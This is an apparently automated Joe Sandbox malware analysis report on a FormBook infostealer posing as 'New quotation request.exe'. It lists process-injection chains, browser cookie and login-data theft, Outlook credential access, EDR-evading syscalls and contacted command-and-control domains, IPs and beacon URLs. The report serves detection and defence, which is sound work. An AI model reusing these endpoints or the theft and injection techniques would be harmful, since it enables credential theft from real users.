                Source: C:\Users\user\Desktop\New quotation request.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\New quotation request.exe"Jump to behavior
                Source: C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exeProcess created: C:\Windows\SysWOW64\rasdial.exe "C:\Windows\SysWOW64\rasdial.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00307CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00307CAF
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_0030874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_0030874B
                Source: New quotation request.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: New quotation request.exe, rHureRETbmkd.exe, 00000005.00000000.1921100117.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3524224913.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524448258.0000000001280000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: rHureRETbmkd.exe, 00000005.00000000.1921100117.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3524224913.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524448258.0000000001280000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: rHureRETbmkd.exe, 00000005.00000000.1921100117.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3524224913.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524448258.0000000001280000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: rHureRETbmkd.exe, 00000005.00000000.1921100117.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000005.00000002.3524224913.0000000000D40000.00000002.00000001.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524448258.0000000001280000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002D862B cpuid 0_2_002D862B
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_002E4E87
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002F1E06 GetUserNameW,0_2_002F1E06
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002E3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_002E3F3A
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_002B49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_002B49A0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.3524342515.0000000003220000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3523453487.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996376325.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996828531.00000000036D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3524429234.0000000004A40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3524534266.0000000002430000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1997265297.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\rasdial.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: New quotation request.exeBinary or memory string: WIN_81
                Source: New quotation request.exeBinary or memory string: WIN_XP
                Source: New quotation request.exeBinary or memory string: WIN_XPe
                Source: New quotation request.exeBinary or memory string: WIN_VISTA
                Source: New quotation request.exeBinary or memory string: WIN_7
                Source: New quotation request.exeBinary or memory string: WIN_8
                Source: New quotation request.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.3524342515.0000000003220000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3523453487.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996376325.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1996828531.00000000036D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3524429234.0000000004A40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3524534266.0000000002430000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.1997265297.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00326283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00326283
                Source: C:\Users\user\Desktop\New quotation request.exeCode function: 0_2_00326747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00326747

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		1
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets251
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1569119 Sample: New quotation request.exe Startdate: 05/12/2024 Architecture: WINDOWS Score: 100 28 www.trendave.xyz 2->28 30 www.egldfi.xyz 2->30 32 14 other IPs or domains 2->32 42 Multi AV Scanner detection for submitted file 2->42 44 Yara detected FormBook 2->44 46 Binary is likely a compiled AutoIt script file 2->46 50 4 other signatures 2->50 10 New quotation request.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 10->64 66 Writes to foreign memory regions 10->66 68 Maps a DLL or memory area into another process 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 rHureRETbmkd.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 rasdial.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 rHureRETbmkd.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.trendave.xyz 203.161.42.73, 49936, 49944, 49952 VNPT-AS-VNVNPTCorpVN Malaysia 22->34 36 www.lgdiamonds.info 130.185.109.77, 49859, 49868, 49875 XIRRADE Germany 22->36 38 6 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                New quotation request.exe61%ReversingLabsWin32.Trojan.AutoitInject
                New quotation request.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.rysanekbeton.cloud/3g99/?-n=RytNeZ1XRv60mT66OsZ14/Z53Dl0UWWckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaeyuYJYNKRROQR84NXiU2Qicm7Q5G8aT8zzM=&e018=ylo8idjP0%Avira URL Cloudsafe
                http://www.43kdd.top/bsyy/?-n=w9Wsyrfddra1GxcX7luKIP81eOoQqUt/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVtzbO2HWO/vlwyzXb4OCTu0u4SZtJF3c1HS4=&e018=ylo8idjP0%Avira URL Cloudsafe
                http://www.rysanekbeton.cloud/3g99/0%Avira URL Cloudsafe
                http://www.rysanekbeton.cloud0%Avira URL Cloudsafe
                http://www.lgdiamonds.info/cv1w/0%Avira URL Cloudsafe
                http://www.bcg.services/5onp/0%Avira URL Cloudsafe
                http://www.jalan2.online/lvda/?-n=ELDSXX2RsHX+gMhA2PfNyBEKowNIoqU7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYmMQdGJQpdXCyyNvs5R5nS90nKpkFpzjMZ1A=&e018=ylo8idjP0%Avira URL Cloudsafe
                http://www.75178.club/vl4d/?e018=ylo8idjP&-n=QHNq3VljPHXHL8Z+m/91IyVktX2l1Liqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym2iV1w40c0QsDnhpOyo2cx9iWMgjuEVKoVLw=0%Avira URL Cloudsafe
                http://www.nb-shenshi.buzz/1mwk/0%Avira URL Cloudsafe
                http://www.trendave.xyz/nhcb/?-n=Jt/EBXmNn0Xont3Uq3SrNJmrJY3M4cpFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJIgyyiHGSgJZQh0vowHWBwbWi8nXeO4OBSJo=&e018=ylo8idjP0%Avira URL Cloudsafe
                http://www.43kdd.top/bsyy/0%Avira URL Cloudsafe
                http://www.bcg.services/5onp/?-n=YQtAzQFhELh+NSSrGqCNnhce8BNGqUHm8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+UQeEteLMn8uXkqbvRDHjk1GU4HyortJJJ3Q=&e018=ylo8idjP0%Avira URL Cloudsafe
                http://www.jalan2.online/lvda/0%Avira URL Cloudsafe
                http://www.trendave.xyz/nhcb/0%Avira URL Cloudsafe
                http://www.lgdiamonds.info/cv1w/?-n=KIRaABhBgujzn3KVjNCYdeU2jI4CiDZHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDesRP/SoiJcG7UzeyTKHH5ghDsthQpYxENiFA=&e018=ylo8idjP0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.lgdiamonds.info
                		130.185.109.77
                		truefalse
                  		unknown
                  www.trendave.xyz
                  		203.161.42.73
                  		truetrue
                    		unknown
                    43kdd.top
                    		38.47.232.202
                    		truefalse
                      		unknown
                      jalan2.online
                      		108.181.189.7
                      		truefalse
                        		unknown
                        www.rafconstrutora.online
                        		104.21.34.103
                        		truefalse
                          		high
                          gtml.huksa.huhusddfnsuegcdn.com
                          		23.167.152.41
                          		truefalse
                            		high
                            www.bcg.services
                            		199.59.243.227
                            		truefalse
                              		high
                              www.nb-shenshi.buzz
                              		161.97.168.245
                              		truefalse
                                		high
                                rysanekbeton.cloud
                                		81.2.196.19
                                		truefalse
                                  		unknown
                                  www.75178.club
                                  		unknown
                                  		unknownfalse
                                    		unknown
                                    www.jalan2.online
                                    		unknown
                                    		unknownfalse
                                      		unknown
                                      www.egldfi.xyz
                                      		unknown
                                      		unknowntrue
                                        		unknown
                                        www.betmatchx.online
                                        		unknown
                                        		unknownfalse
                                          		unknown
                                          www.43kdd.top
                                          		unknown
                                          		unknownfalse
                                            		unknown
                                            www.rysanekbeton.cloud
                                            		unknown
                                            		unknownfalse
                                              		unknown

                                              Contacted URLs

                                              NameMaliciousAntivirus DetectionReputation
                                              http://www.trendave.xyz/nhcb/?-n=Jt/EBXmNn0Xont3Uq3SrNJmrJY3M4cpFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJIgyyiHGSgJZQh0vowHWBwbWi8nXeO4OBSJo=&e018=ylo8idjPfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.nb-shenshi.buzz/1mwk/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.rysanekbeton.cloud/3g99/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.bcg.services/5onp/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.75178.club/vl4d/?e018=ylo8idjP&-n=QHNq3VljPHXHL8Z+m/91IyVktX2l1Liqr4baOeL+2A69zWcjzNULNYjIURgj3Svvwd9B+/BgHSW8C8HA7Jym2iV1w40c0QsDnhpOyo2cx9iWMgjuEVKoVLw=false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.43kdd.top/bsyy/?-n=w9Wsyrfddra1GxcX7luKIP81eOoQqUt/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVtzbO2HWO/vlwyzXb4OCTu0u4SZtJF3c1HS4=&e018=ylo8idjPfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.rysanekbeton.cloud/3g99/?-n=RytNeZ1XRv60mT66OsZ14/Z53Dl0UWWckwx6IFoxcwMb7EGpIrhq/2Ikbe8axKxY7FzhI3ANlUXRki/bAaSaeyuYJYNKRROQR84NXiU2Qicm7Q5G8aT8zzM=&e018=ylo8idjPfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.jalan2.online/lvda/?-n=ELDSXX2RsHX+gMhA2PfNyBEKowNIoqU7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYmMQdGJQpdXCyyNvs5R5nS90nKpkFpzjMZ1A=&e018=ylo8idjPfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lgdiamonds.info/cv1w/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.bcg.services/5onp/?-n=YQtAzQFhELh+NSSrGqCNnhce8BNGqUHm8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+UQeEteLMn8uXkqbvRDHjk1GU4HyortJJJ3Q=&e018=ylo8idjPfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.43kdd.top/bsyy/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.jalan2.online/lvda/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.trendave.xyz/nhcb/false
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://www.lgdiamonds.info/cv1w/?-n=KIRaABhBgujzn3KVjNCYdeU2jI4CiDZHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDesRP/SoiJcG7UzeyTKHH5ghDsthQpYxENiFA=&e018=ylo8idjPfalse
                                              • Avira URL Cloud: safe
                                              		unknown

                                              URLs from Memory and Binaries

                                              NameSourceMaliciousAntivirus DetectionReputation
                                              https://duckduckgo.com/chrome_newtabrasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://duckduckgo.com/ac/?q=rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.rysanekbeton.cloudrHureRETbmkd.exe, 00000007.00000002.3526070601.000000000502B000.00000040.80000000.00040000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.ecosia.org/newtab/rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://ac.ecosia.org/autocomplete?q=rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.google.comrasdial.exe, 00000006.00000002.3524996030.0000000005946000.00000004.10000000.00040000.00000000.sdmp, rasdial.exe, 00000006.00000002.3526448802.0000000007B50000.00000004.00000800.00020000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524624820.00000000030D6000.00000004.00000001.00040000.00000000.sdmpfalse
                                                            		high
                                                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchrasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.cssrasdial.exe, 00000006.00000002.3524996030.00000000062B2000.00000004.10000000.00040000.00000000.sdmp, rHureRETbmkd.exe, 00000007.00000002.3524624820.0000000003A42000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                		high
                                                                https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=rasdial.exe, 00000006.00000002.3526559861.0000000007DFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high

                                                                  World Map of Contacted IPs

                                                                  • No. of IPs < 25%
                                                                  • 25% < No. of IPs < 50%
                                                                  • 50% < No. of IPs < 75%
                                                                  • 75% < No. of IPs

                                                                  Public IPs

                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                  130.185.109.77
                                                                  		www.lgdiamonds.infoGermany
                                                                  		51191XIRRADEfalse
                                                                  203.161.42.73
                                                                  		www.trendave.xyzMalaysia
                                                                  		45899VNPT-AS-VNVNPTCorpVNtrue
                                                                  23.167.152.41
                                                                  		gtml.huksa.huhusddfnsuegcdn.comReserved
                                                                  		395774ESVC-ASNUSfalse
                                                                  108.181.189.7
                                                                  		jalan2.onlineCanada
                                                                  		852ASN852CAfalse
                                                                  199.59.243.227
                                                                  		www.bcg.servicesUnited States
                                                                  		395082BODIS-NJUSfalse
                                                                  81.2.196.19
                                                                  		rysanekbeton.cloudCzech Republic
                                                                  		24806INTERNET-CZKtis238403KtisCZfalse
                                                                  38.47.232.202
                                                                  		43kdd.topUnited States
                                                                  		174COGENT-174USfalse
                                                                  161.97.168.245
                                                                  		www.nb-shenshi.buzzUnited States
                                                                  		51167CONTABODEfalse

                                                                  General Information

                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                  Analysis ID:1569119
                                                                  Start date and time:2024-12-05 14:05:44 +01:00
                                                                  Joe Sandbox product:CloudBasic
                                                                  Overall analysis duration:0h 8m 48s
                                                                  Hypervisor based Inspection enabled:false
                                                                  Report type:full
                                                                  Cookbook file name:default.jbs
                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                  Run name:Run with higher sleep bypass
                                                                  Number of analysed new started processes analysed:8
                                                                  Number of new started drivers analysed:0
                                                                  Number of existing processes analysed:0
                                                                  Number of existing drivers analysed:0
                                                                  Number of injected processes analysed:2
                                                                  Technologies:
                                                                  • HCA enabled
                                                                  • EGA enabled
                                                                  • AMSI enabled
                                                                  Analysis Mode:default
                                                                  Analysis stop reason:Timeout
                                                                  Sample name:New quotation request.exe
                                                                  Detection:MAL
                                                                  Classification:mal100.troj.spyw.evad.winEXE@7/3@12/8
                                                                  EGA Information:
                                                                  • Successful, ratio: 75%
                                                                  HCA Information:
                                                                  • Successful, ratio: 96%
                                                                  • Number of executed functions: 48
                                                                  • Number of non-executed functions: 283
                                                                  Cookbook Comments:
                                                                  • Found application associated with file extension: .exe
                                                                  • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                  • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

                                                                  Warnings

                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                  • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                  • Execution Graph export aborted for target rHureRETbmkd.exe, PID 4924 because it is empty
                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                  • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                  • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                  • VT rate limit hit for: New quotation request.exe

                                                                  Simulations

                                                                  Behavior and APIs

                                                                  ⊘No simulations

                                                                  Joe Sandbox View / Context

                                                                  IPs

                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  130.185.109.77New Order.exeGet hashmaliciousFormBookBrowse
                                                                  • www.lgdiamonds.info/q2b2/
                                                                  need quotations.exeGet hashmaliciousFormBookBrowse
                                                                  • www.lgdiamonds.info/cv1w/
                                                                  MaMsKRmgXZ.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                  • www.holzleisten24.shop/ro12/?pR-=YvLwEHT7dF3wqOWcBoJhBcwDYJ3uuNfwUzugM5jE2WtwH9yjz4WpnbfVNhN3mQxE4RMu&Wx=ChSLGhh0Mn9TylKP
                                                                  Product24573.exeGet hashmaliciousFormBookBrowse
                                                                  • www.berlinhealthweek.com/bpg5/?ti-8=LyKdFPBKAe5W&5eb6=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
                                                                  Siirtokuitti_006703.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                  • www.printmyride.store/tchg/?O0qEM=QQ6dpIpAk027UR3BL5U7sG0DxH6sKQa5YnzY0agrXpda3w5URJfAhsqjtJqbY2/M8fhrkTh6mIV7dbZQ8z6SYrdm6JILdk9Mfg==&CF1Ki=UnDuQcdCFs1MNsvY
                                                                  P5348574_74676.exeGet hashmaliciousFormBookBrowse
                                                                  • www.berlinhealthweek.com/bpg5/?lpw7=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==&UZCu=zJfEuRXw-P
                                                                  535276_86376.exeGet hashmaliciousFormBookBrowse
                                                                  • www.berlinhealthweek.com/bpg5/?yDcF=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k5SHNZX0bjzo+VQ==&jdd=UX4BZm
                                                                  Product_List.exeGet hashmaliciousFormBookBrowse
                                                                  • www.berlinhealthweek.com/bpg5/?JBfKk=_uLb4J-vJhW8&8mBWmPn=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==
                                                                  PS_231.exeGet hashmaliciousFormBookBrowse
                                                                  • www.berlinhealthweek.com/bpg5/?kyx=IT_WJ&HqE8Cy=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
                                                                  KD_MEDICAL_POLSKA_23053371.exeGet hashmaliciousFormBook, GuLoaderBrowse
